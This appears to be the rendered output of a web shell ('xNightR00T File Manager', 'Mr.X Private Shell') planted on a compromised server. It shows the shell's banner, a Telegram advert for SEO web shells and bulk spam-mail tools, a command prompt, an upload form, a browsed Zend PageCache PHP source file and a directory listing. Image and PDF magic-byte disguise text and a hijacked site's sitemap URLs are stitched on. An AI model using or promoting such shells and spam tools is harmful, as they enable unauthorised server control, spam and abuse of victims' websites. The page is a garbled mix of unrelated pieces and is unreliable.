xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace PageCache\Model;

use Zend\Db\Sql;
use Configuration\MapperAbstract;
use ZendServer\Exception;
use PageCache\ResponseRule;
use ZendServer\Log\Log;
use Zend\Db\Sql\Select;
use Zend\Db\Sql\Where;
use Deployment\IdentityApplicationsAwareInterface;
use Deployment\IdentityFilterException;
use Deployment\IdentityFilterInterface;

class ResponseMapper extends MapperAbstract implements IdentityApplicationsAwareInterface
{
    const RULE_ID               = "RULE_ID";
    const RULE_APP_ID           = "APP_ID";
    const RULE_NAME             = "NAME";
    const RULE_OPERATION        = "OPERATION";
    const RULE_VALUE            = "VALUE";
    const RULE_INHERIT_GLOBALS  = "INHERIT_GLOBALS";
    
    const DEFAULT_RESPONSE_CODE = '200';
    
    /**
     * @var IdentityFilterInterface
     */
    private $identityFilter;
    /**
     * @var \Zend\Db\TableGateway\TableGateway
     */
    private $responseCodesTable;
    
    /**
     *
     * @param \PageCache\Rule $rule
     * @throws Exception
     */
    public function createRule($rule)
    {

        if (!$rule->getXml()) {
            throw new \ZendServer\Exception("Cannot create a rule without a valid xml");
        }

        if (!in_array($rule->getAppId(), $this->filterApplications(array()))) {
            throw new Exception(_t('You are not allowed to create a rule for this application'), Exception::ERROR);
        }

        if (!$this->getTableGateway()->insert(array(
                self::RULE_ID => NULL
                , self::RULE_APP_ID => $rule->getAppId()
                , self::RULE_META_XML => $rule->getXmlContents()
            ))) {

            return -1;
        }

        $rule->setId($this->getTableGateway()->getLastInsertValue());

        return $rule->getId();
    }

    /**
     * Creates or updates a rule (depending if ruleId is provided)
     *
     * @param \PageCache\ResponseRule $rule
     * @param boolean $inheritGlobals
     * @throws Exception
     * @return integer ruleId
     */
    function saveResponseRule($rule, $inheritGlobals)
    {
        // remove all rules are related before to the application
        $sql = new Sql\Delete();
        $sql->from($this->getTableGateway()->getTable());
        $sql->where(array(self::RULE_APP_ID => $rule->getAppId()));
        
        $deleted = $this->getTableGateway()->deleteWith($sql);
        Log::debug("Deleted $deleted Page Cache rules");
        
        foreach ($rule->getConditions() as $condition) {
            $this->getTableGateway()->insert(array(
                'APP_ID' => $rule->getAppId(),
                'NAME' => $condition['element'],
                'OPERATION' => $condition['type'],
                'VALUE' => (isset($condition['value']) ? $condition['value'] : null),
                'INHERIT_GLOBALS' => (strtolower($inheritGlobals) == 'true' || strtolower($inheritGlobals) == 1) ? 1 : 0
            ));
            // $this->getTableGateway()->getLastInsertValue() 
        }
    }
    
    /**
     * Saves the response code for passed application
     *
     * @param integer $appId
     * @param string $responseStatus
     */
    public function saveResponseCodes($appId, $responseStatus) {
        $result = $this->responseCodesTable->update(array('CODES' => $responseStatus), array('APP_ID' => $appId));
        if (0 == $result) {
            $this->responseCodesTable->insert(array('APP_ID' => $appId,'CODES' => $responseStatus));
        }
    }
    
    /**
     * @param \Zend\Db\TableGateway\TableGateway $responseCodesTable
     */
    public function setResponseTable($responseCodesTable)
    {
        $this->responseCodesTable = $responseCodesTable;
    }
    
    /**
     * 
     * @return \PageCache\ResponseRule[]
     */
    public function getRules()
    {
        $table  = $this->getTableGateway()->getTable();
        $select = new Select($table);
        $rows = $this->selectWith($select);
        
        $rulesObjArray = array();
        foreach ($rows as $row) {
            if (isset($rulesObjArray[$row['APP_ID']])) {
                $rulesObjArray[$row['APP_ID']]->addCondition(array( 'element'   => $row['NAME'],
                                                                    'type'     => $row['OPERATION'],
                                                                    'value'    => $row['VALUE']));
            } else {
                $rule = new \PageCache\ResponseRule();
                $rule->setAppId($row['APP_ID']);
                
                $rule->setConditions(array(array(  'element'  => $row['NAME'],
                                                   'type'     => $row['OPERATION'],
                                                   'value'    => $row['VALUE'])));
                $rulesObjArray[$row['APP_ID']] = $rule;
            }
        }
        
        Log::debug("Page Cache response mapper: getResponseRules returned " . var_export($rule, true));
        
        return $rulesObjArray;
    }
    
    /**
     *
     * @param array $appId
     * @return multitype:\PageCache\ResponseRule
     */
    public function getRule($appId)
    {
        $table  = $this->getTableGateway()->getTable();
        $select = new Select($table);
        $select->where(array(self::RULE_APP_ID => $appId));
        
        $rows = $this->selectWith($select);
        
        $conditions = array();
        $rule = new \PageCache\ResponseRule();
        foreach ($rows as $row) {
            $conditions[] = array(  'element'   => $row['NAME'],
                                    'type'      => $row['OPERATION'],
                                    'value'     => $row['VALUE']);
        }
        $rule->setAppId($appId);
        
        $rule->setConditions($conditions);
        
        Log::debug("Page Cache response mapper: getResponseRules returned ".var_export($rule, true));
        
        return $rule;
    }

    /**
     *
     * @return array
     */
    public function getRuleInheritances()
    {
        $table  = $this->getTableGateway()->getTable();
        $select = new Select($table);
        $rows = $this->selectWith($select);
        
        $ruleInheritances = array();
        foreach ($rows as $row) {
            $ruleInheritances[$row['APP_ID']] = $row['INHERIT_GLOBALS'];
        }
        
        return $ruleInheritances;
    }
    /**
     *
     * @return array
     */
    public function getResponseStatuses()
    {
        
        $select = new Select('ZSD_PAGECACHE_RESPONSE_CODES');
        $rows = $this->selectWith($select);
        
        $responseCodes = array();
        foreach ($rows as $row) {
            $responseCodes[$row['APP_ID']] = $row['CODES'];
        }
        
        return $responseCodes;
    }
    
    
    /**
     *
     * @param array $appId
     * @return boolean
     */
    public function getRuleInheritance($appId)
    {
        $table  = $this->getTableGateway()->getTable();
        $select = new Select($table);
        $select->columns(array(self::RULE_INHERIT_GLOBALS));
        $select->where(array(self::RULE_APP_ID => $appId));
        
        $row = $this->selectWith($select);
        
        if (isset($row[0]) && isset($row[0]['INHERIT_GLOBALS'])) {
            return $row[0]['INHERIT_GLOBALS'];
        }

        return 1;
    }
    
    /**
     *
     * @param array $appId
     * @return boolean
     */
    public function getResponseStatus($appId)
    {
        
        $select = new Select('ZSD_PAGECACHE_RESPONSE_CODES');
        $where = array();
        
        if ($appId != 0) {
            $select->where(array(self::RULE_APP_ID => $appId));
        }
        $select->columns(array('CODES'));
        
        $row = $this->selectWith($select);
        
        if (isset($row[0]) && isset($row[0]['CODES'])) {
            return $row[0]['CODES'];
        }

        return self::DEFAULT_RESPONSE_CODE;
    }
    
    /**
     *
     * @param \PageCache\ResponseRule $rule
     * @throws Exception
     * @return integer ruleId
     */
    protected function updateRule($rule)
    {

        $params = array(    self::RULE_NAME => $rule->getName(),
                            self::RULE_OPERATION => $rule->getOperation(),
                            self::RULE_VALUE => $rule->getXmlContents());

        if (!in_array($rule->getAppId(), $this->filterApplications(array()))) {
            throw new Exception(_t('You are not allowed to change a rule for this application'), Exception::ERROR);
        }

        if (!$rule->getXml()) {
            throw new \ZendServer\Exception("Cannot update a rule without a valid xml");
        }

        $changed = $this->getTableGateway()->update(
            $params, array(self::RULE_ID => $rule->getId())
        );

        if ($changed) {
            return $rule->getId();
        } else {
            return -1;
        }
    }

    /**
     *
     * @param \PageCache\ResponseRule $rule
     * @throws Exception
     * @return integer ruleId
     */
    public function updateWithRetries($rule)
    {
        $that = $this;

        if (!in_array($rule->getAppId(), $this->filterApplications(array()))) {
            throw new Exception(_t('You are not allowed to change a rule for this application'), Exception::ERROR);
        }

        if (!$rule->getXml()) {
            throw new \ZendServer\Exception("Cannot update a rule without a valid xml");
        }
        $changed       = false;
        $retriesResult = $this->executeWithRetries(function() use ($rule, &$changed, $that) {
            try {
                $changed = $that->getTableGateway()->update(
                    array(
                            self::RULE_NAME => $rule->getName(),
                            self::RULE_APP_ID => $rule->getAppId(),
                            self::RULE_OPERATION => $rule->getOperation(),
                            self::RULE_VALUE => $rule->getValue() 
                   
                    ), array(self::RULE_ID => $rule->getId())
                );
            } catch (Exception $exc) {
                Log::debug("Error with Page cache updateWithRetries query : ".$exc->getTraceAsString());
            }
        }, [], 30);

        if ($retriesResult === false) {
            throw new \WebAPI\Exception(_t('Error executing inserting user with retries. Probably DB is locked'),
            \WebAPI\Exception::DATABASE_LOCKED);
        }

        if ($changed) {
            return $rule->getId();
        } else {
            return -1;
        }
    }

    static public function sortRules($rule1, $rule2)
    {

        return strcasecmp($rule1->getName(), $rule2->getName());
    }

    /**
     *
     * @param mixed $params
     * @param string $order
     * @return multitype:\PageCache\Rule
     */
    public function getRulesBy($params, string $order = '')
    {
        $sql = new Sql\Select();
        $sql->from($this->getTableGateway()->getTable());
        $sql->where($params);
        if (!empty(trim($order))) {
            $sql->order(trim($order));
        }
        $rows = $this->getTableGateway()->selectWith($sql)->toArray();
        $list = array();
        foreach ($rows as $row) {
            $rule   = new \PageCache\Rule();
            $rule->loadXml($row['META_XML'], $row['APP_ID']);
            $rule->setId($row['RULE_ID']);
            $rule->setPriority($row['PRIORITY']);
            $list[] = $rule;
        }

        // usort($list, "PageCache\Model\Mapper::sortRules");

        Log::debug("Page Cache mapper: getRulesBy returned ".var_export($list, true));
        return $list;
    }

    public function deleteRules(array $rulesIds)
    {

        $sql = new Sql\Delete();
        $sql->from($this->getTableGateway()->getTable());
        $sql->where(self::RULE_ID." IN (".implode(",", $rulesIds).")");

        $deleted = $this->getTableGateway()->deleteWith($sql);
        Log::debug("Deleted $deleted Page Cache rules");
    }

    public function deleteRulesByApplicationId($appId)
    {
        Log::debug("Deleting page cache rules for app $appId");

        if (!in_array($appId, $this->filterApplications(array()))) {
            throw new Exception(_t('You are not allowed to remove a rule for this application'), Exception::ERROR);
        }

        $sql = new Sql\Delete();
        $sql->from($this->getTableGateway()->getTable());
        $sql->where(array(self::RULE_APP_ID." = ?" => $appId));

        $deleted = $this->getTableGateway()->deleteWith($sql);
        Log::debug("Deleted $deleted Page Cache rules");

        return $deleted;
    }

    /**
     * @return array
     */
    public function getMatchTypeDictionary()
    {
        return array(
            'exactMatch' => _t('is exactly'),
            'regexMatch' => _t('matches RegEx'),
            'regexIMatch' => _t('matches RegEx (case-insensitive)'));
    }

    /**
     * @return array
     */
    public function getSuperGlobalMatchDictionary()
    {
        return array(
            'equals' => _t('equals'),
            'not_equals' => _t('does not equal'),
            'regex_match' => _t('matches (regex)'),
            'regex_not_match' => _t('does not match (regex)'),
            'exists' => _t('exists'),
            'not_exists' => _t('does not exist'),
        );
    }

    /**
     * @param IdentityFilterInterface $filter
     */
    public function setIdentityFilter(IdentityFilterInterface $filter)
    {
        $filter->setAddGlobalAppId(true);
        $this->identityFilter = $filter;
        return $this;
    }

    private function filterApplications($applications)
    {
        try {
            return $this->identityFilter->filterAppIds($applications, true);
        } catch (IdentityFilterException $ex) {
            if (IdentityFilterException::EMPTY_APPLICATIONS_ARRAY == $ex->getCode()) {
                return array();
            }
        }
    }
}

Filemanager

Name Type Size Permission Actions
ConditionsSet.php File 518 B 0644
Mapper.php File 14.88 KB 0644
ResponseMapper.php File 13.56 KB 0644
RuleCondition.php File 1.56 KB 0644
RulesSet.php File 513 B 0644
SplitByCondition.php File 956 B 0644
StatsMapper.php File 9.02 KB 0644
Tasks.php File 1.07 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml